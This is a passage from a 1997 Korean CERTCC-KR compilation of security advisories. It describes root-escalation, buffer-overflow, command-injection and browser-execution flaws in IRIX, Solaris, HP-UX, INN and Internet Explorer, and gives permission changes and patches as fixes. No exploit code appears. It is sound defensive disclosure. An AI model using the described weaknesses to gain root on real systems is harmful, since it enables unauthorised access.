틸리티 프로그램들이 vgdisplay와 같은 코드를 공유하며, 유사한 공격에 노출되어 있다는

것을 의미한다. 다음은 하드링크(hardlink)된 프로그램들이다.

lvchange, lvcreate, lvdisplay, lvextend, lvlnboot, lvremove, lvrmboot, pvchange.

pvcreate, pvdisplay, pvmove, vgcfgbackup, vgcfrestore, vgchange, vgcreate,

vgexport, vgextend, vgimport, vgreduce, vgremove, vgscan

--영향--------------------------------------

일반 사용자들이 관리자(root) 권한을 얻을 수 있다.

--해결책-------------------------------------

vgdisplay의 setuid 권한과 일반사용자에 대한 실행 권한을 즉시 제거한다. 또한 /usr/sbin

내의 동적 링크된 프로그램과 /sbin내의 정적 링크된 프로그램의 퍼미션도 제한할 필요가

있다.

Page 801: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--기타--------------------------------------

자세한 설명은 원문 AUSCERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-10.txt

Page 802: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-11-SGIIRIXstartmid

------------------------------------------

최초작성일 : 97.2.17

갱신일 및 갱신 내용:

출처 : AA-97.05 AUSCERT Advisory SGI IRIX startmidi(1)/stopmidi(1) Vulnerabili쇼

ftp://ftp.auscert.org.au/pub/advisory/AA-97.05.startmidi.stopmidi.vul

--제목--------------------------------------

SGI IRIX startmidi/stopmidi 취약점과 대책

--개요--------------------------------------

SGI IRIX의 디지털매체 실행 환경중 startmidi(1)/stopmidi(1) 프로그램에 취약점이 존재하

며, 이를 이용하여 일반 사용자가 관리자(root)의 권한을 획득하거나 또는 서비스 부인 공격

을 실행할 수 있다.

--설명--------------------------------------

startmidi 프로그램이 실행될 때 안전하지 않은 권한으로 안전하지 않은 방법에 의하여 파

일이 만들어 진다. 이 프로그램이 관리자(root)의 권한으로 실행되기때문에 일반사용자는 임

의의 파일을 생성하거나 잘라낼 수 있다. 또한 이 임시파일의 내용을 수정함으로써 서비스

부인공격을 실행할 수 있다. IRIX 5.3, 5.3, 6.0, 6.01 그리고 6.1 버전들이 이 취약점을 가

지고 있다.

--영향--------------------------------------

일반 사용자는 임의의 파일들을 생성하거나 잘라낼수 있으며, 이를 이용하여 관리자(root)의

접근권한을 얻을수 있다. 임시파일의 내용을 변경하여 서비스 부인공격을 실행할 수 있다.

--해결책-------------------------------------

앞서설명한 취약점을 이용한 피해를 예방하려면 startmidi의 setuid 권한과 실행권한을 제

거하거나 MIDI 실행환경을 제거하면된다.

--기타--------------------------------------

자세한 설명은 원문 AUSCERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-11.txt

Page 803: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-12-SOLFfbconfig

------------------------------------------

최초작성일 : 97.2.13

갱신일 및 갱신 내용:

출처 : AUSCERT Advisory

ftp://ftp.auscert.org.au/pub/auscert/advisory/

--제목--------------------------------------

Solaris ffbconfig 버퍼오버플로우 대책

--개요--------------------------------------

Solaris ffbconfig 프로그램의 취약성으로 인해 일반 사용자가 관리자(root)권한을 가질 수

있다.

--설명--------------------------------------

ffbconfig는 FFB(Fast Frame Buffer) 그래픽가속기를 설정하는 프로그램으로 SUNWffbcf

패키지의 한 부분이다. 이 프로그램은 가속기 카드를 설치할 경우에 사용된다. 사용자에의

해 제공되는 인수(argument)의 한계에대해 충분히 검사하지 않기 때문에 이 프로그램 수행

시 내부 스택에 임의의 코드가 겹쳐 쓰여질 수 있게된다. 이 취약점은 Solaris 2.5와 2.5.1

모두에서 발견된다.

--영향--------------------------------------

일반 사용자가 관리자(root) 권한을 얻을 수 있다.

--해결책-------------------------------------

1. SUNWffbcf의 설치여부 판단

-%/usr/bin/pkginfo -l SUNWffbcf

2. setuid를 제거하고 관리자(root) 이외의 사용자에 대한 실행권한을 제거한다.

-%chmod 500 /usr/sbin/ffbconfig

3. 불필요한 경우 SUNWffbcf 패키지를 제거한다.

-%/usr/sbin/pkgrm SUNWffbcf

--기타--------------------------------------

자세한 설명은 원문 AUSCERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

Page 804: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-12.txt

Page 805: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-13-SGI XFS

------------------------------------------

최초작성일 : 97.2.17

갱신일 및 갱신 내용:

출처 : SGI Advisory 19970102-01-PX XFS filesystem

http://www.certcc.or.kr/Advisory/etc/19970102-01-PX

--제목--------------------------------------

SGI XFS 파일 시스템의 취약점과 대책

--개요--------------------------------------

IRIX 5.3, 6.1, 6.2, 6.3 그리고 6.4에서 사용하는 XFS 파일시스템에 보안 취약점이 발견되

었다.

--설명--------------------------------------

실리콘그래픽사의 기술부와 고객지원부는 IRIX 5.3, 6.1, 6.2, 6.3 그리고 6.4에서 사용가능

한 XFS파일시스템에 있는 보안 문제의 가능성을 발견하였다. 실리콘 그래픽사는 이 문제점

에 대하여 분석하였으며 문제점의 노출을 없애기 위해 다음의 절차들을 따라 줄 것을 권고

하였다. 이 방법은 IRIX 버전 5.3, 6.1, 6.2, 6.3 그리고 6.4가 장착된 모든 SGI 시스템에

적용할 수 있다.

--영향--------------------------------------

XFS 파일시스템은 시스템에서 파일의 관리와 접근을 도와주는 SGI의 특별한 시스템이다.

XFS 파일시스템은 IRIX 버전 5.3과 6.1에서는 선택 제품이고 IRIX 6.2, 6.3 그리고 6.4에

서는 기본적인 파일시스템이다. XFS 파일시스템을 사용하는 실리콘그래픽스사의 시스템은

보안상 취약성이 있을수 있으며 이 시스템의 파일들은 불완전하게 존재하게 된다. 내부 및

외부에서 이 취약성을 이용하기 위하여는 시스템에 계정이 필요하다.

--해결책-------------------------------------

SGId에서 제공하는 패치를 설치한다.

--기타--------------------------------------

자세한 설명은 원문 SGI Advisory를 참조하기 바람.

--기타--------------------------------------

자세한 설명은 원문 AUCERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Page 806: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-13.txt

Page 807: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-14-httpdnphtestcgi

------------------------------------------

최초작성일 : 97.2.18

갱신일 및 갱신 내용:

출처 : CERT Advisory CA-97.07

ftp://info.cert.org/pub/cert_advisories/

--제목--------------------------------------

httpd nph-test-cgi 취약점과 대책

--개요--------------------------------------

일부의 httpd 데몬에 포함되어 있는 nph-test-cgi 스크립트에서의 취약점 때문에 일반 사

용자들이 볼 수 없도록 되어있는 파일 목록을 몰 수 있게 된다.

--설명--------------------------------------

nph-test-cgi 스크립터는 웹서버의 환경에 대한 정보를 보여주도록 만들어졌지만, 자료요구

에 대해 너무 자세히 보여주기 때문에 접근 권한에 상관없이 일반 사용자가 임의의 파일목

록을 볼 수 있게 된다.

--영향--------------------------------------

외부의 사용자가 시스템계정에 로그인하지 않고도 파일목록을 읽을 수 있다.

--해결책-------------------------------------

nph-test-cgi 스크립터를 지우거나, 이 스크립터의 내용을 다음과 같이 수정한다.

echo QUERY_STRING = $QUERY_STRING

--> echo QUERY_STRING = "$QUERY_STRING"

--기타--------------------------------------

자세한 설명은 원문 CERT Advisory를 참조하기 바람.

--기타--------------------------------------

자세한 설명은 원문 AUCERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-14.txt

Page 808: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-15-inndcgi

------------------------------------------

최초작성일 : 97.2.20

갱신일 및 갱신 내용:

출처 : CERT Advisory CA-97.08

ftp://info.cert.org/pub/cert_advisories/CA-97.08.innd

--제목--------------------------------------

innd 취약점과 대책

--개요--------------------------------------

사용자가 부정한 news 제어 문자를 INN(InterNetNews server)프로그램(버전 1.5 이하)에

보내 비인가된 사용자가 임의의 명령을 실행시킬 수 있다.

--설명--------------------------------------

INN 데몬(innd) 프로그램은 “eval" shell명령을 사용하는 shell script (parsecontrol)에서

”newgroup"와 “rmgroup” 제어 메세지를 처리하는데 이 제어 메시지들이 eval 명령으로

넘겨질 때 shell에 특수한 문자(shell 명령등)들을 검사하지 않는다. 따라서 Usenet을 이용

할 수 있는 사용자는 누구나 그 서버에서 innd가 가지고 있는 uid 권한으로 임의의 명령을

실행시킬수 있다. 또한 innd 프로그램은 메시지를 보낸 사용자가 newsgroup을 지우거나

생성하는 권한이 있는가를 검사하기전에 “eval"을 실행하기 때문에 pgpverify와 같은 프로

그램을 쓰는 것이 도움이 되지 못한다. 방화벽 뒤의 News 서버도 이 공격에 취약하다.

innd v1.5 까지 이 공격에 취약하며 다음과 같이 innd 버전을 확인한다.

%i telnet news.your.site 119

Connected to news.your.site...

Escape character is '^]'

200 news.your.site InterNetNews server INN 1.4unoff4 05-Mar-96 ready

--영향--------------------------------------

원격지의 비인가된 사용자가 innd 프로세스와 같은 권한으로 임의의 명령을 실행할 수 있

다.

--해결책-------------------------------------

1. INN 1.5.1로 업그레이드 한다.

2. 패치를 설치한다.

--기타--------------------------------------

자세한 설명은 원문 CERT Advisory를 참조하기 바람.

Page 809: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-15.txt

Page 810: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-16-SOLPasswd

------------------------------------------

최초작성일 : 97.2.27

갱신일 및 갱신 내용:

출처 : Bugtraq

--제목--------------------------------------

Solaris passwd 버퍼오버플로우 대책

--개요--------------------------------------

Solaris passwd 프로그램의 취약성으로 인해 일반 사용자가 관리자(root) 권한을 가질 수

있다.

--설명--------------------------------------

passwd, ypasswd, nispasswd파일은 수행중 sa_chauthtok() 이란 함수를 사용하다가 오버

플로우를 일으킬 수 있고 passwd -s 옵션을 사용하여 사용할 경우 strcpy() 함수에서 복사

되 이 취약점은 Solaris2.4, 2.5와 2.5.1 모두에게 발견된다.

--영향--------------------------------------

일반 사용자가 관리자(root) 권한을 얻을 수 있다.

--해결책-------------------------------------

1. setuid를 제거하고 루트 이외의 사용자에 대한 실행권한을 제거한다.

-%chmod 500 /bin/passwd

2. 새로운 패치를 설치한다.

--기타--------------------------------------

자세한 설명은 원문 BUGTRAQ Mailing list를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-16.txt

Page 811: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-17-MS InternetExplorer

------------------------------------------

최초작성일 : 97.3.5

갱신일 및 갱신 내용: 97.3.6

출처 : http://www.microsoft.com/ie/update.htm

http://www.microsoft.com/ie_intl/ko/security/

--제목--------------------------------------

MS InternetExplorer 취약점 대책

--개요--------------------------------------

마이크로소프트의 인터넷익스플로러 2.0, 3.0 및 3.01를 사용할 경우, 웹서버에서 지정한

임의의 프로그램이 로컬 시스템상에 있을 경우, 사용자의 확인과정없이 이들 임의의 프로그

램을 수행시킨다. 현재 마이크로소프트사에서 영문 버전 및 일부 언어 버전에 대한 수정판

을 공급하고 있다.

--설명--------------------------------------

인터넷익스플로러는 서버의 웹페이지에서 지정한 파일을 네트워크를 통해 전송받아 각 파일

의 헤더에 포함된 정보 또는 파일의 확장자에 근거하여 다음의 예에서와 같이 사전에 정의

된 절차에 따라 처리한다.

- HTML문서 (.HTM, .HTML) : 웹브라우저에서 자체적으로 표시

- 리얼오디오파일 (.RAM) : 리얼오디오 프로그램을 수행시켜 재생

- 오디오/비디오 파일 (.AVI) : Windows의 매체재생기 프로그램을 수행시켜 재생

- 기타...

이번에 발견된 보안 취약점은 인터넷익스플로러에서 “단축아이콘” 파일인 “.LNK" 파일들과

”인터넷 바로가기” 파일인 “URL" 파일을 처리하는 과정에서 보안이 고려되지 않은 결과이

다. 즉 이들을 네트워크를 통해 전송받은 뒤 로칼 시스템에서 ”기본값“으로 처리하는 것과

동일한 방법으로 이들을 ”open"하도록 한데서 문제가 발생하였다.

파일형식 window 95 window NT 명령행 매개변수 PATH의 이용

.NLK Y N Y N

.URL Y Y N Y

Page 812: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

가. “LNK" 파일

“LNK"파일은 일반적으로 파일 시스템 내의 모든 객체(프로그램 및 데이터 파일 등)에 대한

링크로 사용되지만, 통상 프로그램에 대한 단축아이콘으로 지정하여 사용하는 경우가 많으

며, 이 경우 지정된 프로그램을 제공된 매개변수를 이용하여 수행시킨다.

[예] 단축아이콘에 마우스 커서를 두고 오른쪽 마우스버튼을 누른 후 단축아이콘 탭을 누르

면 프로그램이나 매개변수를 지정할 수 있는 창이 표시된다.

나. “URL" 파일

“URL" 파일은 일반적으로 인터넷 상의 모든 URL을 지정하는데 사용된다. 그러나 특별한

포맷을 사용하면 브라우저가 설치된 시스템의 파일 시스템 상의 모든 객체(프로그램 및 데

이터 파일 등)를 지정할 수 있으며, 여기에 프로그램을 지정하면 사전에 등록된 방법으로

이 프로그램을 수행시킨다.

[예] “URL" 파일은 인터넷익스플로러의 ”파일“ 메뉴의 ”바로 가기 만들기“를 이용하여 작

성할 수 있다. 이 파일은 일반 텍스트 파일이므로 일반적인 텍스트 편집기를 이용하여 작성

하거나 변경할 수 있다.

--영향--------------------------------------

이 문제점을 이용하면 로컬 시스템상의 임의의 프로그램(예를들어 FORMAT.COM,

DELTREE.EXE, 심지어 START.EXE, 또는 COMMAND.COM 등)을 수행시킬 수 있으므로

웹브라우저가 설치된 시스템의 사용자가 시스템 및 네트워크에 대해 수행할 수 있는 모든

작업을 브라우저를 통해 수행시키도록 원격 서버에서 지시할 수 있다. 예를 들어 시스템 내

의 파일 변경이나 삭제, 주요 정보의 유출 등과 같은 작업들을 매우 용이하게 수행시킬 수

있다. 최근 발표된 ActiveX 콘트롤을 이용한 예금이체 등의 작업도 가능할 수 있다. 문제를

더욱 심각하게 만드는 것은 이들 프로그램을 수행시킬 때 “최소화” 시켜 수행시킬 수 있다

는 점이다. 또한 이같은 파일들은 보안과 관계없는 것으로 취급되도록 설계되어 있기 때문

에 이같은 방법으로 프로그램을 수행시킬 때, 인터넷익스플로러의 보안 설정 상태가 “최대”

로 설정되어 있다고 하더라도 아무런 경고를 표시하지 않는다는 점이다. 즉 일반 사용자는

이 같은 프로그램이 수행되고 있는지 조차도 모르게 되는 것이다.

--해결책-------------------------------------

인터넷익스플로러 3.0/3.1 버전에 대해서는 수정판이 제공되고 있다.

- http://www.microsoft.com/ie/security/update.htm

- http://www.microsoft.com/ie_intl/ko/security/download.htm

--기타--------------------------------------

자세한 설명은 원문을 참조하기 바람.

Page 813: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-17.txt

Page 814: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-18-HPUXPplcoredump 취약점

------------------------------------------

최초작성일 : 97.2.18

갱신일 및 갱신 내용:

출처 : AUSCERT Advisory AA-97.07

ftp://ftp.auscert.org.au/pub/auscert/advisories/AA-97.07.HP-UX.ppl.core.dump.vul

--제목--------------------------------------

HP/UX ppl core dump 취약점과 대책

--개요--------------------------------------

HP-UX 9.x 와 10.x 의 ppl 프로그램 취약성을 이용하여 일반 사용자가 관리자(root)의 권

한을 얻을 수 있다

--설명--------------------------------------

ppl 프로그램은 SLIP나 CSLIP을 이용하여 p-to-p 시리얼 네트워킹을 하는데 사용되는 프

로그램이다. setuid 권한을 지닌 ppl이 관리자(root) 권한으로 실행되는 동안 일반 사용자가

강제로 ppl을 core dump 시킬 수 있다. 만약 사용자가 core가 덤프되는 위치를 조작할 수

있다면 시스템상에 임의의 파일을 만들거나 덮어 쓸 수 있다. 패치가 아직 나오지 않았음

--영향--------------------------------------

지역 사용자가 시스템에 임의의 파일을 생성하거나 덮어쓸 수 있다.

--해결책-------------------------------------

1. setuid 권한과 실행모드를 없앤다.

# chmod 400 /usr/bin/ppl

2. ppl 프로그램으로의 접근을 믿을 수 있는 사용자그룹으로 제한한다.

# chgrp trusted /usr/bin/ppl

# chmod 4550 /usr/bin/ppl

--기타--------------------------------------

자세한 설명은 AUCERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-18.txt

Page 815: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-19-SOLSdtcmconvert

------------------------------------------

최초작성일 : 97. 3. 7

갱신일 및 갱신 내용:

출처 : AUSCERT Advisory AA-9708

ftp://ftp.auscert.org.au/pub/auscert/advisories/AA-97.08.Solaris.sdtcm_convert.vul

--제목--------------------------------------

SOLARIS sdtcm convert 취약점과 대책

--개요--------------------------------------

sdtcm_convert(1)는 calendar의 자료파일을 전환하는 프로그램으로 관리자(root)의 권한으

로 실행이 되며, 사용자가 임의의 파일을 사용하여 관리자(root)의 권한을 획득할 수 있다.

--설명--------------------------------------

sdtcm_convert(1)는 버전3의 calendar 자료 파일을 버전4로 전환하는 프로그램으로 관리

자(root)의 권한으로 실행된다. 임의로 조작된 파일을 이 프로그램을 이용하여 전환하면 사

용자는 시스템상의 임의 파일의 사용자의 권한을 바꿀 수 있다. 일반 사용자는 관리자(root)

권한의 파일을 임의로 조작할 수 있다.

--영향--------------------------------------

일반 사용자는 이 프로그램을 이용하여 시스템내의 임의 파일 권한을 관리자(root)로 바꿀

수 있으며, 이로 인하여 관리자(root)의 권한을 획득할 수 있다.

--해결책-------------------------------------

1. 패치를 사용한다.

2. 패치가 설치되기 전까지는 sdtcm_convert(1)의 setuid 권한을 제거할 것과 관리자(root)

이외의 사용자는 필요없는 프로그램이므로 일반사용자의 권한을 모두 제거한다.

--기타--------------------------------------

- Vender patch : ftp://sunsolve1.sun.com.au/pub/outgoing

- sparc 1.0.1 버전 : 103671-02.tar.Z

- sparc 1.0.2 버전 : 103670-02.tar.Z

- x86 1.0.1 버전 : 103718-02.tar.Z

- x86 1.0.2 버전 : 103717-01.tar.Z

- chmod 500 /usr/dt/bin/sdtcm_convert

- 자세한 설명은 AUSCERT Advisory를 참조하기 바람.

Page 816: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-19.txt

Page 817: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-20-IRIX fsdump

------------------------------------------

최초발표일 : 97.3.10

갱신일 및 갱신 내용:

출처 : SGI Security Advisory 19970301-01-P: IRIX 5.x and 6.x fsdump Security

http://www.sgi.com/Support/Secur/security.html

--제목--------------------------------------

IRIX fsdump 취약점과 대책

--개요--------------------------------------

SGI IRIS의 rfind 서버 유틸리티에서 사용되는 fsdump 프로그램에 취약점이 존재하며, 이

를 이용하여 일반 사용자가 관리자(root)의 권한을 획득할 수 있다.

--설명--------------------------------------

옵션으로 설치되는 서브시스템인 eoe.sw.rfindd (IRIX 6.2)또는 eoe2.sw.rfindd (IRIX 6.2

이전 버전)에 있는 fsdump 프로그램이 setuid 권한을 가지고 있을 때 침입자가 관리자

(root) 권한을 획득할 수 있다. IRIX 5.x, 6.0.x, 6.1 그리고 6.2 버전들이 이 취약점을 가지

고 있다.

--영향--------------------------------------

관리자(root) 권한을 획득할 수 있다.

--해결책-------------------------------------

fsdump 프로그램으로부터 setuid 권한을 제거하거나, rfindd 서브 시스템을 제거한다.

--기타--------------------------------------

현재 패치는 제공되고 있지 않다. 자세한 내용은 SGI Security Advisory 19970301-01-p:

IRIX 5.x&6.x fsdump Security를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-20.txt

Page 818: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-21-DIGITALDop

------------------------------------------

최초발표일 : 97.3.14

갱신일 및 갱신 내용:

출처 : Digital Equipment Corporation

Software Security Response Team/Colorado Springs USA

--제목--------------------------------------

DIGITAL DoP 취약점과 대책

--개요--------------------------------------

Division of Privilege(dop) 프로그램의 취약성을 이용하여 특정 조건하에서 일반 사용자가

허가되지 않은 권한을 얻을 수 있다.

--설명--------------------------------------

dop 명령은 일반 사용자가 그래픽 시스템 관리 응용프로그램에 접근할 때 관리자(root) 패

스워드를 입력하게 하여 시스템 관리 응용프로그램을 실행시키는 동안 관리자(root)의 권한

을 얻을 수 있게 한다. 하지만 특별한 상황하에서 일반사용자가 계속 그 권한을 획득할 수

도 있다.

--영향--------------------------------------

일반사용자가 dop 프로그램의 취약성을 이용하여 루트 권한을 획득한다.

--해결책-------------------------------------

1. 다음의 사이트에서 패치를 얻는다.

ftp://ftp.service.digital.com/public/

2. 임시 대책

/usr/sbin/dop・프로그램으로부터 setuid를 제거한다.# chmod 500 /usr/sbin/dop

위의 임시대책은 일반 사용자가 dop 명령을 쓸 수 없게한다.

--기타--------------------------------------

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-21.txt

Page 819: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-22-HPMPE/iX ping

------------------------------------------

최초발표일 : 97.3.18

갱신일 및 갱신 내용:

출처 : CIAC-H42

http://ciac.llnl.gov/ciac/bulletins/h-42.shtml

--제목--------------------------------------

HPMPE/iX ICMP Echo Request 대책

--개요--------------------------------------

특정한 ICMP Echo Request (ping) 패킷을 처리하는데 취약점이 존재하며, 이를 이용하여

외부 사용자가 시스템을 정지시킬 수 있다.

--설명--------------------------------------

모든 HP3000 시리즈 900 시스템이 이러한 취약점을 가지고 있다.

--영향--------------------------------------

외부 사용자가 시스템을 정지시킬 수 있다.

--해결책-------------------------------------

MPE/iX 릴리스 5.0 또는 그것의 파워패치(C.50.00에서 C.50.06)를 설치 운영하는 시스템

에 NSTEDJ9A 패치를 적용한다. MPE/iX 릴리스 5.5에 대한 패치는 현재 개발 진행중임

http://us-support.external.hp.com의 “Patch Database" 링크에서 패치를 다운로드 받아

설치한다.

--기타--------------------------------------

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-23.txt

Page 820: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-23-SOLEjectfdformat

------------------------------------------

최초발표일 : 97 .3. 24

갱신일 및 갱신 내용:

출처 : ftp://ftp.aucert.org.au/pub/aucert/advisory와 Best of Security(BoS) mailing list

--제목--------------------------------------

eject/fdformat 버퍼오버플로우 취약점

--개요--------------------------------------

요사이 널리퍼지고 있는 스택 버퍼오버플로우를 이용한 공격방법이 Solaris에도 많이 나타

나고 있는데 최근 eject와 fdformat 명령에 스택 버퍼 오버플로우 문제가 있음이 알려졌다.

이 문제점은 Solaris 2.4, 2.5, 2.5.1에서 발견된다.

--설명--------------------------------------

eject 와 fdformat 명령은 옵션없이 디바이스 이름을 인수로 받게되어 있다. 그러나 이 인

수의 길이를 검사하지 않기 때문에 일반사용자가 이 인수로 받아들이는 버퍼에 임의의 스트

링을 삽입하는 방식으로 루트의 권한을 획득할 수 있다. eject 명령과 fdformat 명령은 루

